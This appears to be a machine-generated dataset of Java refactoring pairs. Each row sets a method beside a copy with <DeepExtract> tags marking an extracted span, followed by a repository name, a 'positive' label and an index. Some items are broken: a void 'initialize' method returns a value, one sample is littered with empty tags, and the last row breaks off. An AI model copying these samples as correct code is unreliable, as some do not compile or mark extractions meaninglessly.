public static Intent getShareImageIntent(final String content, final Uri uri, final boolean isNewTask) {
Intent intent = new Intent(Intent.ACTION_SEND);
intent.putExtra(Intent.EXTRA_TEXT, content);
intent.putExtra(Intent.EXTRA_STREAM, uri);
intent.setType("image/*");
return isNewTask ? intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) : intent;
} | public static Intent getShareImageIntent(final String content, final Uri uri, final boolean isNewTask) {
Intent intent = new Intent(Intent.ACTION_SEND);
intent.putExtra(Intent.EXTRA_TEXT, content);
intent.putExtra(Intent.EXTRA_STREAM, uri);
intent.setType("image/*");
<DeepExtract>
return isNewTask ? intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) : intent;
</DeepExtract>
} | Engine | positive | 3,286 |
public static String removeSufAndLowerFirst(CharSequence str, CharSequence suffix) {
if (null == removeSuffix(str, suffix)) {
return null;
}
if (removeSuffix(str, suffix).length() > 0) {
char firstChar = removeSuffix(str, suffix).charAt(0);
if (Character.isUpperCase(firstChar)) {
return Character.toLowerCase(firstChar) + subSuf(removeSuffix(str, suffix), 1);
}
}
return removeSuffix(str, suffix).toString();
} | public static String removeSufAndLowerFirst(CharSequence str, CharSequence suffix) {
<DeepExtract>
if (null == removeSuffix(str, suffix)) {
return null;
}
if (removeSuffix(str, suffix).length() > 0) {
char firstChar = removeSuffix(str, suffix).charAt(0);
if (Character.isUpperCase(firstChar)) {
return Character.toLowerCase(firstChar) + subSuf(removeSuffix(str, suffix), 1);
}
}
return removeSuffix(str, suffix).toString();
</DeepExtract>
} | Resource | positive | 3,287 |
@PostConstruct
public void initialize() {
return roles;
} | @PostConstruct
public void initialize() {
<DeepExtract>
return roles;
</DeepExtract>
} | atinject | positive | 3,288 |
@Test
public void encodersChainingTests() throws Exception {
final CountDownLatch l = new CountDownLatch(1);
Config config = new Config.Builder().port(port).host("127.0.0.1").resource("/suspend", new AtmosphereHandler() {
private final AtomicBoolean b = new AtomicBoolean(false);
@Override
public void onRequest(AtmosphereResource r) throws IOException {
if (!b.getAndSet(true)) {
r.suspend(-1);
} else {
r.getBroadcaster().broadcast(r.getRequest().getReader().readLine());
}
}
@Override
public void onStateChange(AtmosphereResourceEvent r) throws IOException {
if (!r.isResuming() || !r.isCancelled()) {
r.getResource().getResponse().getWriter().print(r.getMessage());
r.getResource().resume();
}
}
@Override
public void destroy() {
}
}).build();
server = new Nettosphere.Builder().config(config).build();
assertNotNull(server);
if (server != null)
server.stop();
port = findFreePort();
targetUrl = "http://127.0.0.1:" + port;
ahc = createDefaultAsyncHttpClient();
final CountDownLatch latch = new CountDownLatch(1);
final AtomicReference<String> response = new AtomicReference<String>();
Client client = ClientFactory.getDefault().newClient();
RequestBuilder request = client.newRequestBuilder().method(Request.METHOD.GET).uri(targetUrl + "/suspend").encoder(new Encoder<String, POJO>() {
@Override
public POJO encode(String s) {
return new POJO("<-" + s + "->");
}
}).encoder(new Encoder<POJO, Reader>() {
@Override
public Reader encode(POJO s) {
return new StringReader(s.message);
}
}).transport(transport());
Socket socket = client.create(client.newOptionsBuilder().runtime(ahc, false).build());
socket.on(Event.MESSAGE, new Function<String>() {
@Override
public void on(String t) {
response.set(t);
latch.countDown();
}
}).on(new Function<Throwable>() {
@Override
public void on(Throwable t) {
logger.error("", t);
latch.countDown();
}
}).open(request.build()).fire("echo");
latch.await(5, TimeUnit.SECONDS);
socket.close();
assertEquals(response.get(), "<-echo->");
} | @Test
public void encodersChainingTests() throws Exception {
final CountDownLatch l = new CountDownLatch(1);
Config config = new Config.Builder().port(port).host("127.0.0.1").resource("/suspend", new AtmosphereHandler() {
private final AtomicBoolean b = new AtomicBoolean(false);
@Override
public void onRequest(AtmosphereResource r) throws IOException {
if (!b.getAndSet(true)) {
r.suspend(-1);
} else {
r.getBroadcaster().broadcast(r.getRequest().getReader().readLine());
}
}
@Override
public void onStateChange(AtmosphereResourceEvent r) throws IOException {
if (!r.isResuming() || !r.isCancelled()) {
r.getResource().getResponse().getWriter().print(r.getMessage());
r.getResource().resume();
}
}
@Override
public void destroy() {
}
}).build();
server = new Nettosphere.Builder().config(config).build();
assertNotNull(server);
<DeepExtract>
if (server != null)
server.stop();
port = findFreePort();
targetUrl = "http://127.0.0.1:" + port;
ahc = createDefaultAsyncHttpClient();
</DeepExtract>
final CountDownLatch latch = new CountDownLatch(1);
final AtomicReference<String> response = new AtomicReference<String>();
Client client = ClientFactory.getDefault().newClient();
RequestBuilder request = client.newRequestBuilder().method(Request.METHOD.GET).uri(targetUrl + "/suspend").encoder(new Encoder<String, POJO>() {
@Override
public POJO encode(String s) {
return new POJO("<-" + s + "->");
}
}).encoder(new Encoder<POJO, Reader>() {
@Override
public Reader encode(POJO s) {
return new StringReader(s.message);
}
}).transport(transport());
Socket socket = client.create(client.newOptionsBuilder().runtime(ahc, false).build());
socket.on(Event.MESSAGE, new Function<String>() {
@Override
public void on(String t) {
response.set(t);
latch.countDown();
}
}).on(new Function<Throwable>() {
@Override
public void on(Throwable t) {
logger.error("", t);
latch.countDown();
}
}).open(request.build()).fire("echo");
latch.await(5, TimeUnit.SECONDS);
socket.close();
assertEquals(response.get(), "<-echo->");
} | wasync | positive | 3,289 |
public Criteria andKhhjzh1GreaterThanOrEqualTo(String value) {
if (value == null) {
throw new RuntimeException("Value for " + "khhjzh1" + " cannot be null");
}
criteria.add(new Criterion("khhjzh1 >=", value));
return (Criteria) this;
} | public Criteria andKhhjzh1GreaterThanOrEqualTo(String value) {
<DeepExtract>
if (value == null) {
throw new RuntimeException("Value for " + "khhjzh1" + " cannot be null");
}
criteria.add(new Criterion("khhjzh1 >=", value));
</DeepExtract>
return (Criteria) this;
} | einvoice | positive | 3,290 |
@Test
@DisplayName("POST(String,Consumer)")
void postMethodStringConsumer() {
final var request = expectations.POST(PATH, QUERY_REQUEST_WITH_CONTENT_EXPECTATION);
assertTrue(request instanceof ErsatzRequest);
assertEquals(1, expectations.getRequests().size());
assertEquals(true, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(POST).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(POST).query("a", "c")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(POST)));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(HEAD).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(GET).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(PUT).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(PATCH).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(DELETE).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(OPTIONS).query("a", "b")));
} | @Test
@DisplayName("POST(String,Consumer)")
void postMethodStringConsumer() {
final var request = expectations.POST(PATH, QUERY_REQUEST_WITH_CONTENT_EXPECTATION);
assertTrue(request instanceof ErsatzRequest);
assertEquals(1, expectations.getRequests().size());
assertEquals(true, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(POST).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(POST).query("a", "c")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(POST)));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(HEAD).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(GET).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(PUT).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(PATCH).query("a", "b")));
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(DELETE).query("a", "b")));
<DeepExtract>
assertEquals(false, ((ErsatzRequest) expectations.getRequests().get(0)).matches(request(OPTIONS).query("a", "b")));
</DeepExtract>
} | ersatz | positive | 3,291 |
public final WorkerTask<Params, Progress, Result> execute(Params... params) {
if (mStatus != Status.PENDING) {
switch(mStatus) {
case RUNNING:
throw new IllegalStateException("Cannot execute task:" + " the task is already running.");
case FINISHED:
throw new IllegalStateException("Cannot execute task:" + " the task has already been executed " + "(a task can be executed only once)");
}
}
mStatus = Status.RUNNING;
mWorker.mParams = params;
sExecutor.execute(mFuture);
return this;
} | public final WorkerTask<Params, Progress, Result> execute(Params... params) {
<DeepExtract>
</DeepExtract>
if (mStatus != Status.PENDING) {
<DeepExtract>
</DeepExtract>
switch(mStatus) {
<DeepExtract>
</DeepExtract>
case RUNNING:
<DeepExtract>
</DeepExtract>
throw new IllegalStateException("Cannot execute task:" + " the task is already running.");
<DeepExtract>
</DeepExtract>
case FINISHED:
<DeepExtract>
</DeepExtract>
throw new IllegalStateException("Cannot execute task:" + " the task has already been executed " + "(a task can be executed only once)");
<DeepExtract>
</DeepExtract>
}
<DeepExtract>
</DeepExtract>
}
<DeepExtract>
</DeepExtract>
mStatus = Status.RUNNING;
<DeepExtract>
</DeepExtract>
mWorker.mParams = params;
<DeepExtract>
</DeepExtract>
sExecutor.execute(mFuture);
<DeepExtract>
</DeepExtract>
return this;
<DeepExtract>
</DeepExtract>
} | LepraDroid | positive | 3,292 |
public IElement getElementByXPath(String xpath) {
assertTrue("Unable to locate element with xpath \"" + xpath + "\"", getTestingEngine().hasElementByXPath(xpath));
return getTestingEngine().getElementByXPath(xpath);
} | public IElement getElementByXPath(String xpath) {
<DeepExtract>
assertTrue("Unable to locate element with xpath \"" + xpath + "\"", getTestingEngine().hasElementByXPath(xpath));
</DeepExtract>
return getTestingEngine().getElementByXPath(xpath);
} | jwebunit | positive | 3,293 |
public void onViewCreated(View view, Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
if (mediaList == null)
return;
mAlbumsAdapter.clear();
mSongsAdapter.clear();
Collections.sort(mediaList, MediaComparators.byAlbum);
String lastAlbumName = new String();
for (int i = 0; i < mediaList.size(); ++i) {
Media media = mediaList.get(i);
mAlbumsAdapter.add(media.getAlbum(), null, media);
if (!lastAlbumName.equals(media.getAlbum())) {
mSongsAdapter.addSeparator(media.getAlbum());
lastAlbumName = media.getAlbum();
}
mSongsAdapter.add(media.getTitle(), null, media);
}
} | public void onViewCreated(View view, Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
<DeepExtract>
if (mediaList == null)
return;
mAlbumsAdapter.clear();
mSongsAdapter.clear();
Collections.sort(mediaList, MediaComparators.byAlbum);
String lastAlbumName = new String();
for (int i = 0; i < mediaList.size(); ++i) {
Media media = mediaList.get(i);
mAlbumsAdapter.add(media.getAlbum(), null, media);
if (!lastAlbumName.equals(media.getAlbum())) {
mSongsAdapter.addSeparator(media.getAlbum());
lastAlbumName = media.getAlbum();
}
mSongsAdapter.add(media.getTitle(), null, media);
}
</DeepExtract>
} | Tribler-streaming | positive | 3,295 |
@Test
public void authenticate_signatureMissingInResponse_shouldThrowException() {
expectedException.expect(UnprocessableSmartIdResponseException.class);
connector.sessionStatusToRespond.setSignature(null);
AuthenticationHash authenticationHash = new AuthenticationHash();
authenticationHash.setHashInBase64("7iaw3Ur350mqGo7jwQrpkj9hiYB3Lkc/iBml1JQODbJ6wYX4oOHV+E+IvIh/1nsUNzLDBMxfqa2Ob1f1ACio/w==");
authenticationHash.setHashType(HashType.SHA512);
builder.withRelyingPartyUUID("relying-party-uuid").withRelyingPartyName("relying-party-name").withAuthenticationHash(authenticationHash).withCertificateLevel("QUALIFIED").withDocumentNumber("PNOEE-31111111111").withAllowedInteractionsOrder(Collections.singletonList(Interaction.displayTextAndPIN("Log in to self-service?"))).authenticate();
} | @Test
public void authenticate_signatureMissingInResponse_shouldThrowException() {
expectedException.expect(UnprocessableSmartIdResponseException.class);
connector.sessionStatusToRespond.setSignature(null);
<DeepExtract>
AuthenticationHash authenticationHash = new AuthenticationHash();
authenticationHash.setHashInBase64("7iaw3Ur350mqGo7jwQrpkj9hiYB3Lkc/iBml1JQODbJ6wYX4oOHV+E+IvIh/1nsUNzLDBMxfqa2Ob1f1ACio/w==");
authenticationHash.setHashType(HashType.SHA512);
builder.withRelyingPartyUUID("relying-party-uuid").withRelyingPartyName("relying-party-name").withAuthenticationHash(authenticationHash).withCertificateLevel("QUALIFIED").withDocumentNumber("PNOEE-31111111111").withAllowedInteractionsOrder(Collections.singletonList(Interaction.displayTextAndPIN("Log in to self-service?"))).authenticate();
</DeepExtract>
} | smart-id-java-client | positive | 3,296 |
public void actionPerformed(ActionEvent e) {
task.fix_none = noneradio.isSelected();
if (task.fix_none)
task.fix_all = false;
allradio.setSelected(task.fix_all);
interactbox.setSelectedIndex(task.interaction);
if (task.set == 1) {
set1button.setSelected(true);
setp1button.setEnabled(true);
setp2button.setEnabled(true);
} else {
if (task.set == 2) {
set2button.setSelected(true);
}
;
if (task.set == 3) {
set3button.setSelected(true);
}
;
setp1button.setEnabled(false);
setp2button.setEnabled(false);
}
;
setp1button.setSelected(task.pset2);
setp2button.setSelected(task.pset3);
if (task.interaction == 0 || task.interaction == 1) {
maxlabel.setForeground(Color.gray);
maxfield.setEnabled(false);
tolerlabel.setForeground(Color.gray);
tolerfield.setEnabled(false);
gridlabel.setForeground(Color.gray);
grid1field.setEnabled(false);
grid2field.setEnabled(false);
grid3field.setEnabled(false);
alphalabel.setForeground(Color.gray);
alphafield.setEnabled(false);
orderlabel.setForeground(Color.gray);
orderlabel.setEnabled(false);
nodeslabel.setForeground(Color.gray);
nodesfield.setEnabled(false);
fftlabel.setForeground(Color.gray);
fftfield.setEnabled(false);
}
;
if (task.interaction == 2) {
maxlabel.setForeground(Color.black);
maxfield.setEnabled(true);
tolerlabel.setForeground(Color.black);
tolerfield.setEnabled(true);
gridlabel.setForeground(Color.gray);
grid1field.setEnabled(false);
grid2field.setEnabled(false);
grid3field.setEnabled(false);
alphalabel.setForeground(Color.gray);
alphafield.setEnabled(false);
orderlabel.setForeground(Color.gray);
orderlabel.setEnabled(false);
nodeslabel.setForeground(Color.gray);
nodesfield.setEnabled(false);
fftlabel.setForeground(Color.gray);
fftfield.setEnabled(false);
}
;
if (task.interaction == 3) {
maxlabel.setForeground(Color.gray);
maxfield.setEnabled(false);
tolerlabel.setForeground(Color.gray);
tolerfield.setEnabled(false);
gridlabel.setForeground(Color.black);
grid1field.setEnabled(true);
grid2field.setEnabled(true);
grid3field.setEnabled(true);
alphalabel.setForeground(Color.black);
alphafield.setEnabled(true);
orderlabel.setForeground(Color.black);
orderfield.setEnabled(true);
nodeslabel.setForeground(Color.black);
nodesfield.setEnabled(true);
fftlabel.setForeground(Color.black);
fftfield.setEnabled(true);
}
;
if (task.distar) {
averageradio.setEnabled(true);
scale1label.setForeground(Color.black);
scale1field.setEnabled(true);
scale2label.setForeground(Color.black);
scale2field.setEnabled(true);
} else {
averageradio.setEnabled(false);
scale1label.setForeground(Color.gray);
scale1field.setEnabled(false);
scale2label.setForeground(Color.gray);
scale2field.setEnabled(false);
}
;
solventradio.setSelected(task.shake_w);
if (task.shake_w) {
maxit1label.setForeground(Color.black);
maxit1field.setEnabled(true);
tol1label.setForeground(Color.black);
tol1field.setEnabled(true);
} else {
maxit1label.setForeground(Color.gray);
maxit1field.setEnabled(false);
tol1label.setForeground(Color.gray);
tol1field.setEnabled(false);
}
;
soluteradio.setSelected(task.shake_s);
if (task.shake_s) {
maxit2label.setForeground(Color.black);
maxit2field.setEnabled(true);
tol2label.setForeground(Color.black);
tol2field.setEnabled(true);
} else {
maxit2label.setForeground(Color.gray);
maxit2field.setEnabled(false);
tol2label.setForeground(Color.gray);
tol2field.setEnabled(false);
}
;
if (task.twin) {
cutbox.setSelectedIndex(1);
shortlabel.setForeground(Color.black);
longlabel.setForeground(Color.black);
longfield.setEnabled(true);
freqlabel.setForeground(Color.black);
freqfield.setEnabled(true);
} else {
cutbox.setSelectedIndex(0);
shortlabel.setForeground(Color.gray);
longlabel.setForeground(Color.gray);
longfield.setEnabled(false);
freqlabel.setForeground(Color.gray);
freqfield.setEnabled(false);
}
;
if (task.fix || task.unfix) {
noneradio.setEnabled(true);
allradio.setEnabled(true);
if (task.fix_none || task.fix_all) {
solventrbutton.setEnabled(false);
soluterbutton.setEnabled(false);
nonHradio.setEnabled(false);
} else {
solventrbutton.setEnabled(true);
soluterbutton.setEnabled(true);
nonHradio.setEnabled(true);
}
;
} else {
noneradio.setEnabled(false);
allradio.setEnabled(false);
solventrbutton.setEnabled(false);
soluterbutton.setEnabled(false);
nonHradio.setEnabled(false);
}
;
if (task.prt_top) {
nonbradio.setEnabled(true);
solvradio.setEnabled(true);
soluradio.setEnabled(true);
} else {
nonbradio.setEnabled(false);
solvradio.setEnabled(false);
soluradio.setEnabled(false);
}
;
if (task.prt_step > 0) {
energyradio.setEnabled(true);
extraradio.setEnabled(true);
} else {
energyradio.setEnabled(false);
extraradio.setEnabled(false);
}
;
} | public void actionPerformed(ActionEvent e) {
task.fix_none = noneradio.isSelected();
if (task.fix_none)
task.fix_all = false;
allradio.setSelected(task.fix_all);
<DeepExtract>
interactbox.setSelectedIndex(task.interaction);
if (task.set == 1) {
set1button.setSelected(true);
setp1button.setEnabled(true);
setp2button.setEnabled(true);
} else {
if (task.set == 2) {
set2button.setSelected(true);
}
;
if (task.set == 3) {
set3button.setSelected(true);
}
;
setp1button.setEnabled(false);
setp2button.setEnabled(false);
}
;
setp1button.setSelected(task.pset2);
setp2button.setSelected(task.pset3);
if (task.interaction == 0 || task.interaction == 1) {
maxlabel.setForeground(Color.gray);
maxfield.setEnabled(false);
tolerlabel.setForeground(Color.gray);
tolerfield.setEnabled(false);
gridlabel.setForeground(Color.gray);
grid1field.setEnabled(false);
grid2field.setEnabled(false);
grid3field.setEnabled(false);
alphalabel.setForeground(Color.gray);
alphafield.setEnabled(false);
orderlabel.setForeground(Color.gray);
orderlabel.setEnabled(false);
nodeslabel.setForeground(Color.gray);
nodesfield.setEnabled(false);
fftlabel.setForeground(Color.gray);
fftfield.setEnabled(false);
}
;
if (task.interaction == 2) {
maxlabel.setForeground(Color.black);
maxfield.setEnabled(true);
tolerlabel.setForeground(Color.black);
tolerfield.setEnabled(true);
gridlabel.setForeground(Color.gray);
grid1field.setEnabled(false);
grid2field.setEnabled(false);
grid3field.setEnabled(false);
alphalabel.setForeground(Color.gray);
alphafield.setEnabled(false);
orderlabel.setForeground(Color.gray);
orderlabel.setEnabled(false);
nodeslabel.setForeground(Color.gray);
nodesfield.setEnabled(false);
fftlabel.setForeground(Color.gray);
fftfield.setEnabled(false);
}
;
if (task.interaction == 3) {
maxlabel.setForeground(Color.gray);
maxfield.setEnabled(false);
tolerlabel.setForeground(Color.gray);
tolerfield.setEnabled(false);
gridlabel.setForeground(Color.black);
grid1field.setEnabled(true);
grid2field.setEnabled(true);
grid3field.setEnabled(true);
alphalabel.setForeground(Color.black);
alphafield.setEnabled(true);
orderlabel.setForeground(Color.black);
orderfield.setEnabled(true);
nodeslabel.setForeground(Color.black);
nodesfield.setEnabled(true);
fftlabel.setForeground(Color.black);
fftfield.setEnabled(true);
}
;
if (task.distar) {
averageradio.setEnabled(true);
scale1label.setForeground(Color.black);
scale1field.setEnabled(true);
scale2label.setForeground(Color.black);
scale2field.setEnabled(true);
} else {
averageradio.setEnabled(false);
scale1label.setForeground(Color.gray);
scale1field.setEnabled(false);
scale2label.setForeground(Color.gray);
scale2field.setEnabled(false);
}
;
solventradio.setSelected(task.shake_w);
if (task.shake_w) {
maxit1label.setForeground(Color.black);
maxit1field.setEnabled(true);
tol1label.setForeground(Color.black);
tol1field.setEnabled(true);
} else {
maxit1label.setForeground(Color.gray);
maxit1field.setEnabled(false);
tol1label.setForeground(Color.gray);
tol1field.setEnabled(false);
}
;
soluteradio.setSelected(task.shake_s);
if (task.shake_s) {
maxit2label.setForeground(Color.black);
maxit2field.setEnabled(true);
tol2label.setForeground(Color.black);
tol2field.setEnabled(true);
} else {
maxit2label.setForeground(Color.gray);
maxit2field.setEnabled(false);
tol2label.setForeground(Color.gray);
tol2field.setEnabled(false);
}
;
if (task.twin) {
cutbox.setSelectedIndex(1);
shortlabel.setForeground(Color.black);
longlabel.setForeground(Color.black);
longfield.setEnabled(true);
freqlabel.setForeground(Color.black);
freqfield.setEnabled(true);
} else {
cutbox.setSelectedIndex(0);
shortlabel.setForeground(Color.gray);
longlabel.setForeground(Color.gray);
longfield.setEnabled(false);
freqlabel.setForeground(Color.gray);
freqfield.setEnabled(false);
}
;
if (task.fix || task.unfix) {
noneradio.setEnabled(true);
allradio.setEnabled(true);
if (task.fix_none || task.fix_all) {
solventrbutton.setEnabled(false);
soluterbutton.setEnabled(false);
nonHradio.setEnabled(false);
} else {
solventrbutton.setEnabled(true);
soluterbutton.setEnabled(true);
nonHradio.setEnabled(true);
}
;
} else {
noneradio.setEnabled(false);
allradio.setEnabled(false);
solventrbutton.setEnabled(false);
soluterbutton.setEnabled(false);
nonHradio.setEnabled(false);
}
;
if (task.prt_top) {
nonbradio.setEnabled(true);
solvradio.setEnabled(true);
soluradio.setEnabled(true);
} else {
nonbradio.setEnabled(false);
solvradio.setEnabled(false);
soluradio.setEnabled(false);
}
;
if (task.prt_step > 0) {
energyradio.setEnabled(true);
extraradio.setEnabled(true);
} else {
energyradio.setEnabled(false);
extraradio.setEnabled(false);
}
;
</DeepExtract>
} | nwchem-git-svn-deprecated | positive | 3,298 |
public int generateRoute(MinecraftServer minecraftServer, List<PathData> mainPath, int successfulSegmentsMain, Map<BlockPos, Map<BlockPos, Rail>> rails, SavedRailBase firstPlatform, SavedRailBase lastPlatform, boolean repeatInfinitely, int cruisingAltitude, boolean useFastSpeed) {
final List<PathData> tempPath = new ArrayList<>();
if (firstPlatform == null || lastPlatform == null) {
successfulSegments = 0;
tempRepeatIndex1 = 0;
tempRepeatIndex2 = 0;
} else {
final List<SavedRailBase> depotAndFirstPlatform = new ArrayList<>();
depotAndFirstPlatform.add(this);
depotAndFirstPlatform.add(firstPlatform);
PathFinder.findPath(tempPath, rails, depotAndFirstPlatform, 0, cruisingAltitude, useFastSpeed);
if (tempPath.isEmpty()) {
successfulSegments = 1;
tempRepeatIndex1 = 0;
tempRepeatIndex2 = 0;
} else if (mainPath.isEmpty()) {
tempPath.clear();
successfulSegments = successfulSegmentsMain + 1;
tempRepeatIndex1 = 0;
tempRepeatIndex2 = 0;
} else {
tempRepeatIndex1 = repeatInfinitely ? tempPath.size() - (tempPath.get(tempPath.size() - 1).isOppositeRail(mainPath.get(0)) ? 0 : 1) : 0;
PathFinder.appendPath(tempPath, mainPath);
final List<SavedRailBase> lastPlatformAndDepot = new ArrayList<>();
lastPlatformAndDepot.add(lastPlatform);
lastPlatformAndDepot.add(this);
final List<PathData> pathLastPlatformToDepot = new ArrayList<>();
PathFinder.findPath(pathLastPlatformToDepot, rails, lastPlatformAndDepot, successfulSegmentsMain, cruisingAltitude, useFastSpeed);
if (pathLastPlatformToDepot.isEmpty()) {
successfulSegments = successfulSegmentsMain + 1;
tempPath.clear();
tempRepeatIndex2 = 0;
} else {
tempRepeatIndex2 = repeatInfinitely ? tempPath.size() - 1 : 0;
PathFinder.appendPath(tempPath, pathLastPlatformToDepot);
successfulSegments = successfulSegmentsMain + 2;
}
}
}
final List<TimeSegment> tempTimeSegments = new ArrayList<>();
final Map<Long, Map<Long, Float>> tempPlatformTimes = new HashMap<>();
tempTimeSegments.clear();
double distanceSum1 = 0;
final List<Double> stoppingDistances = new ArrayList<>();
for (final PathData pathData : tempPath) {
distanceSum1 += pathData.rail.getLength();
if (pathData.dwellTime > 0) {
stoppingDistances.add(distanceSum1);
}
}
final int spacing = TrainType.getSpacing(baseTrainType);
double railProgress = (railLength + trainCars * spacing) / 2;
double nextStoppingDistance = 0;
float speed = 0;
float time = 0;
float timeOld = 0;
long savedRailBaseIdOld = 0;
double distanceSum2 = 0;
for (int i = 0; i < tempPath.size(); i++) {
if (railProgress >= nextStoppingDistance) {
if (stoppingDistances.isEmpty()) {
nextStoppingDistance = distanceSum1;
} else {
nextStoppingDistance = stoppingDistances.remove(0);
}
}
final PathData pathData = tempPath.get(i);
final float railSpeed = pathData.rail.railType.canAccelerate ? pathData.rail.railType.maxBlocksPerTick : Math.max(speed, RailType.getDefaultMaxBlocksPerTick(transportMode));
distanceSum2 += pathData.rail.getLength();
while (railProgress < distanceSum2) {
final int speedChange;
if (speed > railSpeed || nextStoppingDistance - railProgress + 1 < 0.5 * speed * speed / accelerationConstant) {
speed = Math.max(speed - accelerationConstant, accelerationConstant);
speedChange = -1;
} else if (speed < railSpeed) {
speed = Math.min(speed + accelerationConstant, railSpeed);
speedChange = 1;
} else {
speedChange = 0;
}
if (tempTimeSegments.isEmpty() || tempTimeSegments.get(tempTimeSegments.size() - 1).speedChange != speedChange) {
tempTimeSegments.add(new TimeSegment(railProgress, speed, time, speedChange, accelerationConstant));
}
railProgress = Math.min(railProgress + speed, distanceSum2);
time++;
final TimeSegment timeSegment = tempTimeSegments.get(tempTimeSegments.size() - 1);
timeSegment.endRailProgress = railProgress;
timeSegment.endTime = time;
timeSegment.savedRailBaseId = nextStoppingDistance != distanceSum1 && railProgress == distanceSum2 && pathData.dwellTime > 0 ? pathData.savedRailBaseId : 0;
}
time += pathData.dwellTime * 5;
if (pathData.savedRailBaseId != 0) {
if (savedRailBaseIdOld != 0) {
if (!tempPlatformTimes.containsKey(savedRailBaseIdOld)) {
tempPlatformTimes.put(savedRailBaseIdOld, new HashMap<>());
}
tempPlatformTimes.get(savedRailBaseIdOld).put(pathData.savedRailBaseId, time - timeOld);
}
savedRailBaseIdOld = pathData.savedRailBaseId;
timeOld = time;
}
time += pathData.dwellTime * 5;
if (i + 1 < tempPath.size() && pathData.isOppositeRail(tempPath.get(i + 1))) {
railProgress += spacing * trainCars;
}
}
minecraftServer.execute(() -> {
try {
path.clear();
if (tempPath.isEmpty()) {
generateDefaultPath(rails);
} else {
path.addAll(tempPath);
}
timeSegments.clear();
timeSegments.addAll(tempTimeSegments);
platformTimes.clear();
platformTimes.putAll(tempPlatformTimes);
generateDistances();
if (tempRepeatIndex1 != repeatIndex1 || tempRepeatIndex2 != repeatIndex2) {
trains.clear();
}
repeatIndex1 = tempRepeatIndex1;
repeatIndex2 = tempRepeatIndex2;
} catch (Exception e) {
e.printStackTrace();
}
});
return successfulSegments;
} | public int generateRoute(MinecraftServer minecraftServer, List<PathData> mainPath, int successfulSegmentsMain, Map<BlockPos, Map<BlockPos, Rail>> rails, SavedRailBase firstPlatform, SavedRailBase lastPlatform, boolean repeatInfinitely, int cruisingAltitude, boolean useFastSpeed) {
final List<PathData> tempPath = new ArrayList<>();
if (firstPlatform == null || lastPlatform == null) {
successfulSegments = 0;
tempRepeatIndex1 = 0;
tempRepeatIndex2 = 0;
} else {
final List<SavedRailBase> depotAndFirstPlatform = new ArrayList<>();
depotAndFirstPlatform.add(this);
depotAndFirstPlatform.add(firstPlatform);
PathFinder.findPath(tempPath, rails, depotAndFirstPlatform, 0, cruisingAltitude, useFastSpeed);
if (tempPath.isEmpty()) {
successfulSegments = 1;
tempRepeatIndex1 = 0;
tempRepeatIndex2 = 0;
} else if (mainPath.isEmpty()) {
tempPath.clear();
successfulSegments = successfulSegmentsMain + 1;
tempRepeatIndex1 = 0;
tempRepeatIndex2 = 0;
} else {
tempRepeatIndex1 = repeatInfinitely ? tempPath.size() - (tempPath.get(tempPath.size() - 1).isOppositeRail(mainPath.get(0)) ? 0 : 1) : 0;
PathFinder.appendPath(tempPath, mainPath);
final List<SavedRailBase> lastPlatformAndDepot = new ArrayList<>();
lastPlatformAndDepot.add(lastPlatform);
lastPlatformAndDepot.add(this);
final List<PathData> pathLastPlatformToDepot = new ArrayList<>();
PathFinder.findPath(pathLastPlatformToDepot, rails, lastPlatformAndDepot, successfulSegmentsMain, cruisingAltitude, useFastSpeed);
if (pathLastPlatformToDepot.isEmpty()) {
successfulSegments = successfulSegmentsMain + 1;
tempPath.clear();
tempRepeatIndex2 = 0;
} else {
tempRepeatIndex2 = repeatInfinitely ? tempPath.size() - 1 : 0;
PathFinder.appendPath(tempPath, pathLastPlatformToDepot);
successfulSegments = successfulSegmentsMain + 2;
}
}
}
final List<TimeSegment> tempTimeSegments = new ArrayList<>();
final Map<Long, Map<Long, Float>> tempPlatformTimes = new HashMap<>();
<DeepExtract>
tempTimeSegments.clear();
double distanceSum1 = 0;
final List<Double> stoppingDistances = new ArrayList<>();
for (final PathData pathData : tempPath) {
distanceSum1 += pathData.rail.getLength();
if (pathData.dwellTime > 0) {
stoppingDistances.add(distanceSum1);
}
}
final int spacing = TrainType.getSpacing(baseTrainType);
double railProgress = (railLength + trainCars * spacing) / 2;
double nextStoppingDistance = 0;
float speed = 0;
float time = 0;
float timeOld = 0;
long savedRailBaseIdOld = 0;
double distanceSum2 = 0;
for (int i = 0; i < tempPath.size(); i++) {
if (railProgress >= nextStoppingDistance) {
if (stoppingDistances.isEmpty()) {
nextStoppingDistance = distanceSum1;
} else {
nextStoppingDistance = stoppingDistances.remove(0);
}
}
final PathData pathData = tempPath.get(i);
final float railSpeed = pathData.rail.railType.canAccelerate ? pathData.rail.railType.maxBlocksPerTick : Math.max(speed, RailType.getDefaultMaxBlocksPerTick(transportMode));
distanceSum2 += pathData.rail.getLength();
while (railProgress < distanceSum2) {
final int speedChange;
if (speed > railSpeed || nextStoppingDistance - railProgress + 1 < 0.5 * speed * speed / accelerationConstant) {
speed = Math.max(speed - accelerationConstant, accelerationConstant);
speedChange = -1;
} else if (speed < railSpeed) {
speed = Math.min(speed + accelerationConstant, railSpeed);
speedChange = 1;
} else {
